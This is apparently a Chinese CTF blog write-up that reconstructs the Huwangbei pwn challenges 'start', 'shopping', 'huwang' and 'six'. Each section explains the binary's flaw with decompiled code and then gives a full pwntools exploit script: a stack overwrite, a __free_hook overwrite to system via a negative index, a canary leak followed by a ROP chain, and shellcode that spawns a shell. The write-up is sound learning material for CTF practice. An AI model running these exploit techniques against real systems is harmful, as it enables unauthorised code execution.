本文最后更新于:星期三, 一月 2日 2019, 3:47 下午
昨天刚打完护网杯线上赛,被自己菜哭,菜的真实,所以现在来赛后复现了
start
签到题,就是覆盖栈上的变量为特定的值,有点新奇的就是有一个变量要覆盖成小数0.1
0.1 在内存中存储形式为 0x3fb999999999999a
exp:
#!/usr/bin/env python
from pwn import *
local = 0
if local:
p = process('./gettingstart')
elf = ELF('./gettingstart')
libc = elf.libc
else:
host = '49.4.94.186'
port = '32680'
p = remote(host,port)
elf = ELF('./gettingstart')
context.arch = elf.arch
context.log_level='debug'
p.recvuntil("you.\n")
payload = "1"*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
p.send(payload)
p.interactive()
shopping
很气人 ,我离做出就差一个__free_hook
防护机制:
☁ shopping checksec shopping
[*] '/home/zs0zrc/game/huwangbei/PWN/shopping /shopping'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
通过ida分析下程序逻辑
大致有两个功能
- get_monye 获得money
- buy 购买物品
unsigned __int64 getmoney()
{
unsigned __int64 v0; // rax
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
puts("EMMmmm, you will be a rich man!");
fgets(&s, 24, stdin);
v0 = strtoul(&s, 0LL, 0);
if ( v0 != 2 )
break;
puts_something();
}
if ( v0 == 3 )
break;
if ( v0 == 1 )
get_money();
}
return __readfsqword(0x28u) ^ v3;
}
然后buy中又存在三个功能
- get_goods 获得商品
- delete_goods 删除商品
- edit_goods 编辑商品
unsigned __int64 buy()
{
unsigned __int64 v0; // rax
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("Now, buy buy buy!");
fgets(&s, 24, stdin);
v0 = strtoul(&s, 0LL, 0);
if ( v0 != 2 )
break;
free_goods();
}
if ( v0 > 2 )
break;
if ( v0 == 1 )
get_goods();
}
if ( v0 != 3 )
break;
edit_goods();
}
}
while ( v0 != 4 );
return __readfsqword(0x28u) ^ v3;
}
这道题目的漏洞在edit_goods函数中,它用strtoul函数来获取商品的下标
它的函数原型是
unsigned long strtoul (const char* str, char** endptr, int base);
endstr 为第一个不能转换的字符的指针,base 为字符串 str 所采用的进制。
strtoul() 会扫描参数 str 字符串,跳过前面的空白字符
漏洞点
idx = strtoul(&s, 0LL, 0);
printf("OK, what would you like to modify %s to?\n", *buy_array[idx], idx);
*(*buy_array[v1] + read(0, *buy_array[v1], 8uLL)) = 0;
//没有对输入的值的下限进行检查,可以读取一个负数,造成数组下标溢出
泄露信息只要先生成一个unsorted bin大小的chunk,然后delete它,再malloc(0),就可以泄露出libc的信息
这里要借助get_money中生成的两个数组来实现任意地址写,因为edit功能是通过二重引用指针,修改的是buy_array[idx]的内容指向的地址上的内容,而money_array数组中存储着array数组的地址,所以我们修改edit_goods修改money_array的内容,在array中布置我们想要修改的地址,最后再修改array对应的位置,
就可以实现任意地址写
if ( counts_g <= 0x13 )
{
puts("I will give you $9999, but what's the currency type you want, RMB or Dollar?");
v1 = malloc(0x10uLL);
v2 = v1;
v1[1] = 0x270FLL;
fgets(&array[8 * counts_g], 8, stdin);
*v2 = &array[8 * counts_g];
v3 = counts_g++;
v4 = 8 * v3;
v0 = &money_array;
*(&money_array + v4) = v2;
}
这里我看writeup看到很多种做法,
改__free_hook为system,再free掉一个包含”sh”字符串的chunk
改libc里面的 malloc@got为one_gadget,然后再生成一个chunk就可以getshell,但是这个libc中的got表我在网上怎么都查不到,真的是学到了
还有一种没有用到chunk的,直接就数组下标溢出做的wirteup
各位师傅真的是tql,我的exp用的是第一种
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./shopping')
elf = ELF('./shopping')
libc = elf.libc
else:
host = '117.78.26.200'
port = '32599'
p = remote(host,port)
elf = ELF('./shopping')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
context.arch = elf.arch
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
log.info("text_base:{}".format(hex(text_base)))
log.info("buy_array:{}".format(hex(text_base + 0x2021E0)))
log.info("get_array:{}".format(hex(text_base + 0x202140)))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def get_money():
ru("EMMmmm, you will be a rich man!\n")
for i in range(0x14):
sl('1')
rc()
sl('1234')
ru("EMMmmm, you will be a rich man!\n")
sl('3')
def buy_goods(size,name):
ru('Now, buy buy buy!\n')
sl('1')
ru('How long is your goods name?\n')
sl(str(size))
ru(' name?\n')
sl(name)
def edit_goods(idx,name):
rc()
sl('3')
rc()
sl(idx)
ru(" to?\n")
sd(name)
def delete_goods(idx):
rc()
sl('2')
rc()
sl(str(idx))
get_money()
buy_goods(0x88,'a'*8)#0
buy_goods(0x88,'sh')#1
buy_goods(0x88,'a'*8)#2
delete_goods(0)
buy_goods(0,'')
pause()
log.info("---------leak libc-----------")
rc()
sl('3')
rc()
sl('3')
ru("modify ")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10- 216
libc.address = libc_base
print hex(leak)
print hex(libc_base)
sl('aaaaa')
rc()
edit_goods(' -1',p64(libc.got['__free_hook']))
edit_goods(' -21',p64(libc.symbols['system']))
delete_goods(1)
p.interactive()
huwang
防护机制:
☁ huwang checksec huwang
[*] '/home/zs0zrc/game/huwangbei/PWN/huwang/huwang'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这题看起来像是堆的题,但其实堆分配的部分都没用,主要的功能集中在选项666中
它先打开secret文件,往里面写入随机数,然后输入md5加密的次数,循环加密后将结果存入secret中,然后要我们猜在secret存储的md5值。程序在写入md5结果时会先清空文件的内容,并且如果它没对输入的数字的下限进行判断,所以可以输入一个”-1”,程序就会循环执行MD5直到超时杀死自己,导致sercet文件的内容为空。那么md5的值就是可以预测的,16个null的md5也就是 0x000000000000000的MD5 —->[4ae71336e44bf9bf79d2752e234818a5]
同时name填0x19个字符可以泄漏出canary ,md5猜成功后会进入success函数,这里存在一个栈溢出,是由snprintf函数造成的,snprintf函数返回的值是想要写入的值,知道了canary就可以用ROP了,先泄露出libc地址,然后构造rop链调用system函数
int __fastcall sub_40101C(__int64 a1)
{
char v1; // ST1B_1
int v3; // [rsp+1Ch] [rbp-214h]
char v4; // [rsp+20h] [rbp-210h]
char s; // [rsp+120h] [rbp-110h]
unsigned __int64 v6; // [rsp+228h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", a1);
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
sub_400CC1(&v4, 255LL);
v3 = snprintf(
&s,
0xFFuLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........."
".....................................................................................
............",
a1,
&v4);
puts("Here is your introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, &s, v3 - 1); //stack overflow
return printf("The final presentation is as follows:%s\n", &s);
}
exp:
#!/upr/bin/env python
from pwn import *
p = process('./huwang')
elf = ELF('./huwang')
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def prepare():
p.sendlineafter("command>> \n",'666')
p.sendlineafter("name\n",'a'*0x8)
p.sendlineafter("secret?\n","y")
p.sendlineafter("secret:\n", '-1')
p.recvuntil('timeout~')
def expoit():
p = process('./huwang')
p.sendlineafter("command>> \n",'666')
p.sendafter("name\n",'a'*0x18+"#")
p.sendlineafter("secret?\n","y")
p.sendlineafter("secret:\n", '1')
p.sendafter('secret\n', "J\xe7\x136\xe4K\xf9\xbfy\xd2u.#H\x18\xa5")
p.recvuntil("#")
canary = u64('\0' + p.recv(7))
print hex(canary)
p.recvuntil("occupation?\n")
p.send('a'*0xff)
p.sendlineafter("[Y/N]\n","Y")
pop_rdi = 0x401573
leave_ret = 0x400d45
ret = 0x40101C
ropchain = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(elf.got['puts'])+ p64(ret)
p.sendline(ropchain)
p.recvuntil("Congratulations, ")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
libc.address = libc_base
payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(libc.search('/bin/sh').next()) + p64(libc.symbols['system'])
p.recvuntil("occupation?\n")
p.send('a'*0xff)
p.sendlineafter("[Y/N]\n","Y")
p.sendline(payload)
p.interactive()
prepare()
expoit()
被23R3F大佬鞭策,回来把剩下的两道题复现下
six
大佬们的writeup: 23R3F
防护机制:
☁ six checksec six
[*] '/home/zs0zrc/pwn/huwangbei/six/six'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
拖入ida简单逆向下,程序一开始先用mmap分配了两个区域
unsigned __int64 init_fuc()
{
int fd; // ST04_4
__int64 buf; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
read(fd, &buf, 6uLL);
read(fd, &v3, 6uLL);
text = mmap((v3 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
//text段具有rwx权限,用来存放要执行的代码
stacks = mmap((buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 0x500;
//stacks用来模拟栈
//这里分配的空间,当两个地址冲突或者不符合条件时,就会随机分配,随机分配的两个区域是相邻的,相邻时stacks与text的距离为0xb00
return __readfsqword(0x28u) ^ v4;
}
然后输入6个字节的shellcode,将shellcode放入text中,且shellcode要满足三个奇数,三个偶数
__int64 __fastcall sub_B05(__int64 a1)
{
__int64 result; // rax
unsigned int v2; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
signed int i; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]
v2 = 0;
v3 = 0;
for ( i = 0; i <= 5; ++i )
{
if ( *(i + a1) & 1 )
++v2;
else
++v3;
for ( j = i + 1; j <= 5; ++j )
{
if ( *(i + a1) == *(j + a1) )
{
puts("Invalid shellcode!");
exit(0);
}
}
}
result = v2;
if ( v2 == v3 )
return result;
puts("Invalid shellcode!");
exit(0);
return result;
}
在执行我们输入的shellcode前,程序会先执行一段代码
Disassembly:
0: 48 89 fc mov rsp,rdi
3: 48 31 ed xor rbp,rbp
6: 48 31 c0 xor rax,rax
9: 48 31 db xor rbx,rbx
c: 48 31 c9 xor rcx,rcx
f: 48 31 d2 xor rdx,rdx
12: 48 31 ff xor rdi,rdi
15: 48 31 f6 xor rsi,rsi
18: 4d 31 c0 xor r8,r8
1b: 4d 31 c9 xor r9,r9
1e: 4d 31 d2 xor r10,r10
21: 4d 31 db xor r11,r11
24: 4d 31 e4 xor r12,r12
27: 4d 31 ed xor r13,r13
2a: 4d 31 f6 xor r14,r14
2d: 4d 31 ff xor r15,r15
这是从src变量中提出出来的,这里做的就是将rsp指向mmap出来用作栈的空间,然后将各个寄存器清零。
因为这里将rax置0了,所以如果进行syscall的话就会调用read函数,往stack上写入内容。如果此时stacks和text是mmap随机分配的,那么这两个区域会是相邻的,stacks在低地址。从rsp开始覆写,可以覆盖代码段。
调用read函数的shellcode
0: 54 push rsp
1: 5e pop rsi
2: 89 f2 mov edx,esi
4: 0f 05 syscall
exp:
#!/usr/bin/env python
from pwn import *
elf = ELF('./six')
libc = elf.libc
context.arch = elf.arch
context.log_level='debug'
def exploit():
p = process('./six')
shellcode1='''push rsp;pop rsi;mov edx,esi;syscall'''
p.sendafter(':',asm(shellcode1))
paylaod ='\x90'*0xb36+asm(shellcraft.sh())
p.send(paylaod)
p.interactive()
while 1:
try:
exploit()
except Exception:
pass
calender
待填
大佬们的writeup
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!